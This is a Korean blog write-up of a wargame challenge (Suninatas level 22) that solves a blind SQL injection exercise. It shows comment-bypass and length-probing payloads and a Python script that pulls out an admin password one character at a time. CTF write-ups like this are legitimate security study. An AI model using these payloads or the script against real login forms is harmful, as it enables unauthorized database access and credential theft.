HackChang

[Suninatas] 써니나타스 22번 문제 풀이 본문

W4RG4M3/W3B

[Suninatas] 써니나타스 22번 문제 풀이

HackChang 2020. 8. 6. 14:25

LEVEL22

 

* Blind SQL Injection : SQL인젝션과 동일하지만, 오류가 출력되지 않을 때 사용할 수 있는 기법이다. 한 문자씩 추출해서 DB의 정보를 알아낼 수 있는 특징이 있다.

 

이번 문제는 Blind SQL Injection 문제다.

해당 페이지의 소스를 보도록 하겠다.

 

<!DOCTYPE html>

<html>
<head>
    <title>Game 22</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link rel="shortcut icon" href="/static/img/game.ico" />
</head>
<body>
    <form method="get" action="./web22.asp">
        <br>
        <br>
        <br>
        <br>
        <br>
        <br>
        <br>
        <table width="400" cellpadding="0" cellspacing="0" align="center">
            <tr height="30">
                <td width="200" class="table_top" align="center">
                    <input type="button" name="main_btn" value="main" style="width: 60" onclick="location.href = '/'"></td>
                <td width="200" class="table_top" align="center">
                    <input type="button" name="main_btn" value="Back" style="width: 60" onclick="history.back()"></td>
            </tr>
            <tr height="30" class="table_main">
                <td width="120" align="center" bgcolor="cccccc"><font size="2"><b>&nbsp&nbsp&nbspid</b></font></td>
                <td width="280" align="center" bgcolor="cccccc">
                    <input type="text" name="id" style="width: 230"></td>
            </tr>
            <tr height="30" class="table_main">
                <td align="center" bgcolor="cccccc"><font size="2"><b>pw</b></font></td>
                <td align="center" bgcolor="cccccc">
                    <input type="password" name="pw" style="width: 230" maxlength="15"></td>
            </tr>
            <tr height="30">
                <td colspan="2" align="center" class="table_top" bgcolor="cccccc">
                    <input type="button" name="btn" value="Login" onclick="submit()" size="20"></td>
            </tr>
            <tr class="table_main" height="30">
                <td colspan="2" align="center" bgcolor="cccccc">Blind Sql Injection</td>
            </tr>
            <tr height="30">
                <td colspan="2" align="center" class="table_top" bgcolor="cccccc">Filtering Keywords</td>
            </tr>
            <tr class="table_main" height="30">
                <td colspan="2" align="center" bgcolor="cccccc">select / Union / or / white space / by / having
                    <br>
                    from / char / ascii / left / right / delay / 0x ..........
                </td>
            </tr>
        </table>

    </form>
</body>
</html>


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->

제일 아래 힌트로 guest의 아이디와 비밀번호를 제공하고,

우리는 admin의 비밀번호를 찾으면 되는 문제다.

 

guest/guest부터 로그인해보도록 하겠다.

 

OK guest라는 문자와 함께 로그인이 된 것을 알 수 있다.

 

admin/admin으로 로그인해보도록 하겠다.

 

False

즉, 맞으면 OK name, 틀리면 False라는 문자를 출력한다.

select / Union / or / white space / by / having
from / char / ascii / left / right / delay / 0x

위의 문자를 필터링하는 것을 알 수 있고, 필터에 없는 '--' ( 주석 )로 주석처리 해보도록 하겠다.

 

id - admin'--

pw - 1234

로 입력해서 OK admin이 나온 것을 볼 수 있다.

하지만 우리가 해야할 일은 로그인이 아닌 admin의 비밀번호를 알아내는 것이기 떄문에

조건을 사용해서 admin pw의 길이부터 알아보도록 하겠다.

--가 주석인 것으로 봐서 mssql을 사용했다.

 

admin'and len(pw)>9-- = True

admin의 pw의 길이는 9보다 크다.

 

 

admin'and len(pw)>10-- = False 

즉 admin의 pw길이는 10인 것을 알 수 있다.

 

이제 길이를 알았으니, 한 글자씩 확인해보면 된다.

작성해보면

admin'and substring(pw,1~10,1)='a'~'Z'--

손으로 하나하나 해볼 수 있지만,

많은 시간이 소요될 것이기 떄문에 간단하게

파이썬 코드를 간단하게 작성해보도록 하겠다.

 

import requests


pw = ''

baseurl = "http://suninatas.com/challenge/web22/web22.asp"
# 첫번째 글자부터 마지막(10)번째 글자까지 서브스트링하기 위해서
for i in range(1,11):
    # 아스키 모든 문자로 비교하기 위해서
    for j in range(33,128):
        url = baseurl+"?id=admin'and unicode(substring(pw,{},1))={}--&pw=1234".format(i,j)
        cookies = {'ASPSESSIONIDAACDSAQA':'자신의 세션ID'}
        res = requests.get(url=url,cookies=cookies)
        
        # 결과가 True일 때
        if res.text.find("OK") != -1:
            pw += chr(j)
            print(str(i)+" : "+chr(j))
            break
print("password : "+pw);

이렇게 패스워드가 나오고, 해당 값으로 인증을 하면 클리어가 된다.

 

Comments